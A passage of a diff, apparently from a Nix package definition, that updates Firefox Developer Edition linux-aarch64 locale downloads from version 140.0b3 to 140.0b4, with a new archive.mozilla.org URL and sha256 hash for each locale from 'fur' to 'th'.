+      sha256 = "1ea2ee87f0d0c94f8868b119d2d424bb3b830565875e48ccfc1e91e4973f9eb5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fur/firefox-140.0b4.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "43b1b42524d772baa72ee7ef0c8b6322949fb2b64796ffbed4fd097a6f2328a6";
+      sha256 = "d43424b5efe10b2b0e65c0feb5239bd647af086605d918f91d3b2dee7c13adc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fy-NL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fy-NL/firefox-140.0b4.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "385c966b1eb1d2af7a038af9e3aef4323949d431b0f09e4cce3ed5e045b0728a";
+      sha256 = "6d024e0bf0dc906e6cbf93391ad26824947a90c084243ec77c305366755ae76b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ga-IE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ga-IE/firefox-140.0b4.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "c0f1ea44c17e2eba13f8c6529b39da7da2bb1f8d5f0c8b9b0b41be53c04ace58";
+      sha256 = "87d7b52ab1ac75fb33de8e13a3df94ddd9231645179070900f16107934b2b6ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/gd/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/gd/firefox-140.0b4.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "e3857c858010c4a0e23b1b4d77ee74e398ed68d0285797e8e5f5b677f8271aa6";
+      sha256 = "956d2b67600153073c8d20bab2cd4b2b0ce954a33923a86ba6b48c186e0741b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/gl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/gl/firefox-140.0b4.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "5c097ed389da49c71e6165c6735db6b7195cd52e113d8c1e7f6078105f594565";
+      sha256 = "27e6131bcfe6325ec8d058063dff15f75f7c66f79d15013628684a914a9e49ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/gn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/gn/firefox-140.0b4.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "d63959887d0efeaca0d34c731230c23be012b0a0ebcf1c1f9b23a2164c1f5051";
+      sha256 = "ef710f084aae6cf3b2fda3a9e0d017a0bf959960337d4ddee5097d3dd406debe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/gu-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/gu-IN/firefox-140.0b4.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "b6e876dd0f29e081ccbce9abb08a7338a6add3ef6c52fb43859933461cc422f4";
+      sha256 = "28ccc4ca0e116dc69ee73dd76da61d32fbf8b67042896f6776ee156cf05e6e86";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/he/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/he/firefox-140.0b4.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "f150fa1887b7547429d67bf465e18ed9ba35a0eb7b05f98a4f5d87673596d8b8";
+      sha256 = "ab26a9a8bcd33bcce2a3347c034b49bac859747b6d2bd51f3ed9ac5206e6fef3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hi-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hi-IN/firefox-140.0b4.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "76d0f4825b8bcfb9d6d66860cdf8ae0b9c47933037586d896f8f2df752c0cadf";
+      sha256 = "cd45abdfd476d38451a97677654ef53f5d987d1acc1225cfff18fe4d8d600b8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hr/firefox-140.0b4.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "c34b67aa88aa37d0a2e680a7e12e6f61933885f3855f85a7219d3ae2a05174d8";
+      sha256 = "4951c793afba243271ba640eec8b7351e16b04e9fc49975f3f97844447e21e27";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hsb/firefox-140.0b4.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "e80a11c6d279f403e7b4486183e22341904627cdfbe6913731b0d9680a27c624";
+      sha256 = "26881be6be8d8502b8a3cfe2889172bb7b06dcc86cb822805a09fa2e8d839217";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hu/firefox-140.0b4.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "a19774b3a61039debdd0ecdf1e0eb52880406127728b49eeeb2b557674e26288";
+      sha256 = "af29ec58b423ddcf5ece496b28a11f014619a0e091066bda01495db3c63e88a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/hy-AM/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hy-AM/firefox-140.0b4.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "667c51cf291606b1da0964d03bf990d5a8583359b01260ce4d55492a5be04229";
+      sha256 = "1d202708d4a46499ea91fcb225514966b5c4f099549e014874a93969eae96048";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ia/firefox-140.0b4.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "3399278865cab1ae01fae526ca2e7184a1edb3337d1d4fdf39d035f5ae05d35d";
+      sha256 = "8569d38bc4ce56749462b7db17b82b8059a6efca1744b8295439735f4825951d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/id/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/id/firefox-140.0b4.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "258714f0352e26cf4824a129414cb4d73ebf9a196a1e07606fdd512a73643e1d";
+      sha256 = "2718544968fb71d1e7645d8c353e9b909ae7caf0768ae9efae6202681d378026";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/is/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/is/firefox-140.0b4.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "60e0e2590c0a46f183991e9b34b055f148cc9e9611460e4e28574b50775b7e17";
+      sha256 = "3048c7a981a59ed35530e882704ca28e57545f63036fa0500309872cb90041f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/it/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/it/firefox-140.0b4.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "275184c50ebcb1ed872f468f76ac7db657b83e099c58adbe68bab8d8859854aa";
+      sha256 = "47a2136e5d24befe2d7250fc917d838294d3d3d0ce67bbdfc12ed52cb13c5820";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ja/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ja/firefox-140.0b4.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "50d0351a67bbbe93bb224bd470c6e300c319ff73f51891d0f40e33f2e12c1105";
+      sha256 = "c691c79991add05818169ec0762c71e83704aa26d518fa960d6760e1c4935630";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ka/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ka/firefox-140.0b4.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "abf5e0c2f1db38f2295223d9bc6835d2250ddc511d1a6373193cab58eb8b5bef";
+      sha256 = "5d5e32cd2dbca632b2af119af427b15c1e0ff201b945b6cacb961ae2092f2b88";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/kab/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/kab/firefox-140.0b4.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "1e216572e181b2182b4a2e4320675c2ac6d523f27f35227b17772b1454e5ce3b";
+      sha256 = "04564d398f617497e6503cd81095c3d9994f1decea0e99a86347dbdea3ec8373";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/kk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/kk/firefox-140.0b4.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "48e8817330d41757d848a69f95e3a89a0b405f46cef54f61541b2cee47910098";
+      sha256 = "4c0ee1b602a71b6c2edb5b4d2cc7dee2c92f5cf2100c3211a1cd4747dfbc3cf9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/km/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/km/firefox-140.0b4.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "24182bdda0438cc4efb50d9ece8d737cf05e1711d15e871c21dd4049200a064f";
+      sha256 = "3f4f5c974a2f82a8eb24eacc80dd43dd6888687d7b33b709a75dfa028ca0ab61";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/kn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/kn/firefox-140.0b4.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "4792c242e54c336a33fca76299a712a2ec05196081dc6758f39f07b7e18ef183";
+      sha256 = "b2831008cf28a63f2ef589f6eb9af55b796deffecdb7d5b6ba283820fb303eed";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ko/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ko/firefox-140.0b4.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "cb4a05aea03ed789617c032dcb2669c6c1d4c3692cbde750a1994fc641c4f013";
+      sha256 = "e2a06611817017184cb75cbb999cd51ca4854e14585b5be643afa6fbd976391f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/lij/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/lij/firefox-140.0b4.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "f3964c38e58615d0eb7d0150e0c6920a90788f1477fefd2d762556a174662838";
+      sha256 = "dd60b5542bc5ad651fe6c9113f1379e34773a57e85306bb98bdda2738cf4fac1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/lt/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/lt/firefox-140.0b4.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "91d419c2bfa9a03abd18e603158f416ef2fa023b29de4e926bacc5ca1feb9946";
+      sha256 = "d9dbf35f5982441c0f46af3ab76523d1012d117fb6dd23e45437c23ba30ea196";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/lv/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/lv/firefox-140.0b4.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "a4829aa251cdc8c4873870cf85ce889a088a7f60a669ecac6302f818de2677e1";
+      sha256 = "c24ddb01ca378672832eb5cf8e95bb78f6d5cab3266fa67070441e808db98439";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/mk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/mk/firefox-140.0b4.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "571039c86835ace41507fbb7e88fb808bab9a3cdba86ecca36a705076f1be6ff";
+      sha256 = "d97f6661efd9f853c0a0e33b8a3c346866594bea9490bbfc4d0506aad919b62c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/mr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/mr/firefox-140.0b4.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "5af4d3f08a05a7fd321678d6f5407ca0b885e72c45b320b8c7a6a7658e127e6d";
+      sha256 = "35a07a397fb9daef535f2f8753261ed318f4a775f8e15e266af0942761acf2fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ms/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ms/firefox-140.0b4.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "84bc3e41e4e72b8202eec681520edcd1fcacdcc20dd256ae26280f0136620da9";
+      sha256 = "72d8acaf044201716007c6c189222020002d9a4016f4a3d253a91d64ca798783";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/my/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/my/firefox-140.0b4.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "c99a18fcb63f901cf4d5cad5ee1278895afa4b9ef8d7cb7e0ac0e084e0d25f3c";
+      sha256 = "07a733a01b0825331ef5c8d107f194345e0afd157ae123f4e2e234029ce03903";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/nb-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/nb-NO/firefox-140.0b4.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "816e39b1c3539e771d8f4d7098dfee49595a0432edf8c76a3766d3b1869ac710";
+      sha256 = "23fd5336cf74966635ee1bb595d10766751251e018039fe97062f92dd28701f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ne-NP/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ne-NP/firefox-140.0b4.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "1d8ebc6580cbbe03afc5070228f40a5bf928f9edf904605856ba9c1df81fa665";
+      sha256 = "225de7dede580be0c8ddfbe8a497af052c424b464ba606e11effb2a0258aaafa";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/nl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/nl/firefox-140.0b4.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "ffa903ab76a6dfeda4cf863fbb7248b4a428d03e686d21790c4647d43653975e";
+      sha256 = "caeed5870902eabacc4b44398dbc9d8f1e7a94af15de1988d7d269004806559d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/nn-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/nn-NO/firefox-140.0b4.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "1c46c79761fa30948b364396d28fdec00628c21e46400e4c812f5433c8fec7e8";
+      sha256 = "878938c66ba82f4b8598e3aa74b6dc9a8285e16d6287bbe760425dff2e6aee33";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/oc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/oc/firefox-140.0b4.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "efd8f41921db93f5d83e10ad7398d393502c650494dde02349434f3f94b245d5";
+      sha256 = "1213e2a2226aedad71b543e1914151cf085c3186c447e6001c9ebf9b5644da35";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/pa-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/pa-IN/firefox-140.0b4.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "64bd9c1af3f0695122df345a86d98da74b4edd4dc6e033882d31358be30cfc36";
+      sha256 = "7141be31170e77c199c7e88a85b640a0aa9fbf3a87a6502bffdd7b95975e3fa3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/pl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/pl/firefox-140.0b4.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "a221d10e8b373bfcb179bb36cd6d0c27779dde66ca5d9fcb89ffe637f1898d8c";
+      sha256 = "f6128d1579be2067e2547f8eb1828a56e6dd6f29258b87e363d5105b7cebc4ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/pt-BR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/pt-BR/firefox-140.0b4.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "1b5b0f70cb9db3d3e8a4d6c3712ae8e3f406511ee9fb5c8e2433261c9d46b417";
+      sha256 = "9ef2b8cd01242d32f2cb0adf5a7bc310be21f4ba1cae3529cb64da75531d9792";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/pt-PT/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/pt-PT/firefox-140.0b4.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "26182efcafdcdf9dcfaa020f299559d7fcd3ebba62cac5c4622efebfe3435174";
+      sha256 = "24b50d061bd46d7cccc128b562491e878e67e929f45fc986071d7e8c75585fd6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/rm/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/rm/firefox-140.0b4.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "953111cc9b2ae344a6082e95f80960a0bdce0c3b5eb4d667d5b8d749e77b97f5";
+      sha256 = "5f138469c44a462d84ecdf70f4d76b9bf09509c0888588cd74240d93a0a65ddf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ro/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ro/firefox-140.0b4.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "7f52eb2eae1b2f27db938474c0710c28dd7cc5366e88abe37b2f51c644675b1b";
+      sha256 = "34770ca741c4dc609deb69f606cf227b8abe1c5559c30b4743b03d1fd6bd4e88";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ru/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ru/firefox-140.0b4.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "7cd6928d0c0cedc76c06946c0329a13515016e486ad634c9eda1c184215999a1";
+      sha256 = "bf0dc41307da0ae66fa013d17e619776ce796301e7c1c3e16adcdf5290d43ce9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sat/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sat/firefox-140.0b4.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "0509df8f6e67bf3f0ba3eaa5cdc7f09d2ed52edc2016ba17bdec5dca37dc0215";
+      sha256 = "f26a609c8e2dddec77a8d3cddc09fbf03abb9a6f8ff282a155fd0e35778e52f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sc/firefox-140.0b4.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "e90d7babeac42128b88966c89bc27ddcb782bdb11cad278cd844f486da9cb1a0";
+      sha256 = "b2535743683e89e58aa9aaed48621553afadd994f6ee1edd020e829abe7a1efe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sco/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sco/firefox-140.0b4.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "12520f1d6e4a8d4385dc44e8b0455c0946159793adc05ca2e6bdeccd331741a0";
+      sha256 = "2731fbe959da7f15a27e3a675fe80b0d54bcae316672035c415376660f8c60f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/si/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/si/firefox-140.0b4.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "ab879762439cabdf676f74ce07fe7ce3303f97a59f3758ebcdd3e139bb6188a5";
+      sha256 = "c75fe5891b84c8fcffa4d43093d6c71092741bb60ce3bbb0875067ccb08801d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sk/firefox-140.0b4.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "412edadc539d8999a707a81591537f0565a26f50ca566581687c2e01d186fd95";
+      sha256 = "c4862d30d0cf9450be66cc38213d90c300196bf98b361bfb39fc9d1c4748b2b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/skr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/skr/firefox-140.0b4.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "6b03c01a8dbaa8e25dcbfe16b45e75c4c0607edfeb1b8378b6218d9c989fe2e8";
+      sha256 = "1702eda3a78cffb1df602d1443fa885a575382b5f5b27fbde44fe26b4b3ca7c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sl/firefox-140.0b4.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "aa9843e770e2ff34c12a21f58cc74025ec2a2fe506f5ec5d1ed39e2a71ef5e99";
+      sha256 = "57dac174f3a82d01f4ddabc28ab47d063f6cff823bf96394aa15b84acc026f03";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/son/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/son/firefox-140.0b4.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "0c03dc82f8fe84ad296e928046762f33cba7929cfacc20e58ac3682f641a715b";
+      sha256 = "02aa9292bc7bb008ce7b3a4c71b7418578c58b45a86397375263ae004c6bdc3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sq/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sq/firefox-140.0b4.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "825e766cb6204232462edec2ec637fe3620e021382b7ece7f79122194404f85e";
+      sha256 = "bda64253568603f6bc9edea913748bcee053ff0ff95ea0e7b1fe52960e234f24";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sr/firefox-140.0b4.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "3dab1ce01cbf1e4b051dd0be1cefca6bc6921ea35a28767a9619915bf3fae1a7";
+      sha256 = "92fbca93a60dc3f35da2427b2a89185efe0090306df4cace4c025683e13ab7ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sv-SE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sv-SE/firefox-140.0b4.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "9936b4edb5afbc133854bd323ecb9f6de75589903db65b444579139184fe3ed0";
+      sha256 = "ee6be5ad07e13e990c448e19b43a244a15bdd7ea59375ff4ad894ec75dd639bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/szl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/szl/firefox-140.0b4.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "855d718f0519c19c86380fa72ec6aa0aaf9f82d806fe32bd0b94a2f34f27278c";
+      sha256 = "fc481f234c13d42a06dcb6d32a7d092e12113ba15535844a781bf49ed7149781";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ta/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ta/firefox-140.0b4.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "80e7aa6114c2f8be68a1efc6c73c0b39f0c00679db5f16e8fab65c54c74d2569";
+      sha256 = "082bb72187b9ecd8911051c27a0357ad83fc859a351bc6f48fec4d61961e9b68";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/te/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/te/firefox-140.0b4.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "bcc4e2f3fbba6bc6f01a2453165219ce02eb24852d89b0720ec457396f6d0cf0";
+      sha256 = "13303d06a49825000e7368e8416e38fcbc41f8c9f795b2af6bf836b4f7c65915";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/tg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/tg/firefox-140.0b4.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "4fa638bb86d4c154a9c98d712641f93cd20b87d57320e39fb0632f64bebed14c";
+      sha256 = "351c468bb51665019393083c834ffb5903b1fbebdbda2560fa233db179bee441";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/th/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/th/firefox-140.0b4.tar.xz";
